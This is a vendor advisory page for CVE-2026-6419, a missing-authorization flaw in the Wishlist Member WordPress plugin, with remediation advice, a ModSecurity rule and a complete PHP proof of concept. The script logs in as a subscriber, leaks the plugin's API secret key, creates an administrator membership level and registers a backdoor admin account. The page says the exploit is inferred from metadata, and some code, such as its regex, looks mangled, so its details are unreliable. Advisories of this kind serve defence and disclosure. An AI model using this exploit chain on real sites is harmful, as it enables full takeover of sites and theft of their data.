Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 22, 2026

CVE-2026-6419: Wishlist Member <= 3.30.1 – Missing Authorization to Authenticated (Subscriber+) API Secret Key Disclosure and Privilege Escalation via 'wlm3_get_screen' AJAX action (wishlist-member-x)

CVE ID CVE-2026-6419
Severity High (CVSS 8.8)
CWE 269
Vulnerable Version 3.30.1
Patched Version
Disclosed May 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6419 (metadata-based): This vulnerability affects the Wishlist Member plugin for WordPress, up to version 3.30.1. It allows authenticated attackers with Subscriber-level access or above to escalate privileges and obtain the plugin’s plaintext REST API Secret Key, enabling complete site takeover. The CVSS score of 8.8 (Critical) reflects low attack complexity and high impact on confidentiality, integrity, and availability.

The root cause is a missing authorization and nonce check in the `ajax_get_screen()` function. The CWE classification (269: Improper Privilege Management) indicates the plugin fails to verify user capabilities before executing administrative actions. Based on the description, the function loads and executes an administrative API configuration template when an attacker supplies a crafted `data[url]` parameter via the `wlm3_get_screen` AJAX action. This conclusion is inferred from the CVE metadata, as no source code diff is available. The vulnerability does not require a nonce, which is a critical omission for AJAX handlers that modify state or expose sensitive data.

Exploitation requires an attacker to have a valid WordPress user account (Subscriber or higher). The attacker sends a POST request to `/wp-admin/admin-ajax.php` with `action=wlm3_get_screen` and a `data[url]` parameter pointing to an admin screen identifier that loads the API configuration template. The plugin returns the rendered HTML containing the plaintext REST API Secret Key in the AJAX JSON response. With this key, the attacker authenticates to the WishList Member API, creates a membership level assigned the administrator role, and registers an arbitrary administrator user.

Remediation requires adding capability and nonce checks to the `ajax_get_screen()` function. The plugin should validate that the current user has appropriate permissions (e.g., `manage_options`) before executing the AJAX handler. A nonce check using `check_ajax_referer()` or `wp_verify_nonce()` must be implemented. Additionally, the function should sanitize the `data[url]` parameter and restrict it to a whitelist of allowed screen identifiers.

Successful exploitation leads to disclosure of the plaintext REST API Secret Key, which grants full access to the WishList Member API. Attackers can create membership levels with the administrator role and register new admin users, resulting in complete WordPress site takeover. This includes the ability to modify any content, install malicious plugins, and extract user data.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-6419 (metadata-based)
# Detects exploitation attempts against the wlm3_get_screen AJAX action in Wishlist Member
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20264191,phase:2,deny,status:403,chain,msg:'CVE-2026-6419 - Wishlist Member wlm3_get_screen AJAX exploit',severity:'CRITICAL',tag:'CVE-2026-6419'"
  SecRule ARGS_POST:action "@streq wlm3_get_screen" "chain"
    SecRule ARGS_POST:data[url] "@rx ^[a-zA-Z0-9_]+$" "chain"
      SecRule ARGS_POST:data[url] "@pm wlm3_api_settings wlm3_api" 
        "t:none"
# The rule blocks requests where action=wlm3_get_screen and data[url] matches potential admin screen identifiers used in exploitation.
# Exploit targets the API settings screen to leak the secret key.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6419 - Wishlist Member <= 3.30.1 - Missing Authorization to Authenticated (Subscriber+) API Secret Key Disclosure and Privilege Escalation via 'wlm3_get_screen' AJAX action

// Configuration - modify these variables
$target_url = 'http://example.com'; // Target WordPress site URL
$username = 'attacker';            // Attacker's WordPress username (Subscriber or above)
$password = 'attacker_password';   // Attacker's WordPress password

// Step 1: Authenticate as a subscriber and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve_2026_6419.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
curl_close($ch);

// Step 2: Trigger the vulnerable AJAX action to leak the API secret key
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
    'action' => 'wlm3_get_screen',
    'data' => array(
        'url' => 'wlm3_api_settings' // This admin screen identifier loads the API configuration template
    )
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_2026_6419.txt');
$response = curl_exec($ch);
curl_close($ch);

// Parse the JSON response to extract the API secret key
$response_data = json_decode($response, true);
if (isset($response_data['html'])) {
    // The HTML contains the plaintext secret key. Extract using regex.
    preg_match('/api_secret_key["']?[^:]*:[s]*["']([^"']+)["']/', $response_data['html'], $matches);
    if (isset($matches[1])) {
        $api_secret_key = $matches[1];
        echo "[+] API Secret Key leaked: " . $api_secret_key . "n";
    } else {
        // Fallback: print HTML for manual inspection
        echo "[!] Could not automatically extract secret key. HTML response:n" . $response_data['html'] . "n";
    }
} else {
    echo "[!] Failed to retrieve API configuration template. Response:n" . $response . "n";
}

// Step 3: Use the API secret key to create an admin-level membership and register an admin user
// This step assumes the WishList Member REST API endpoint is accessible.
$api_base = $target_url . '/wp-json/wlm3/v1'; // Adjust endpoint if different
$headers = array(
    'Authorization: Bearer ' . $api_secret_key,
    'Content-Type: application/json'
);

// Create a membership level with administrator role
$membership_data = array(
    'name' => 'Admin Level',
    'role' => 'administrator'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_base . '/membership_levels');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($membership_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$membership_response = curl_exec($ch);
curl_close($ch);

$membership_result = json_decode($membership_response, true);
if (isset($membership_result['id'])) {
    $membership_id = $membership_result['id'];
    echo "[+] Created admin membership level with ID: " . $membership_id . "n";

    // Register a new user with the admin membership
    $user_data = array(
        'username' => 'cve_admin',
        'email' => 'attacker@example.com',
        'password' => 'P@ssw0rd',
        'membership_level_id' => $membership_id
    );

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $api_base . '/users');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($user_data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $user_response = curl_exec($ch);
    curl_close($ch);

    $user_result = json_decode($user_response, true);
    if (isset($user_result['id'])) {
        echo "[+] Admin user created. Login with username: cve_admin, password: P@ssw0rdn";
    } else {
        echo "[!] Failed to create user. Response: " . $user_response . "n";
    }
} else {
    echo "[!] Failed to create membership level. Response: " . $membership_response . "n";
}

// Cleanup
unlink('/tmp/cookies_cve_2026_6419.txt');
?>

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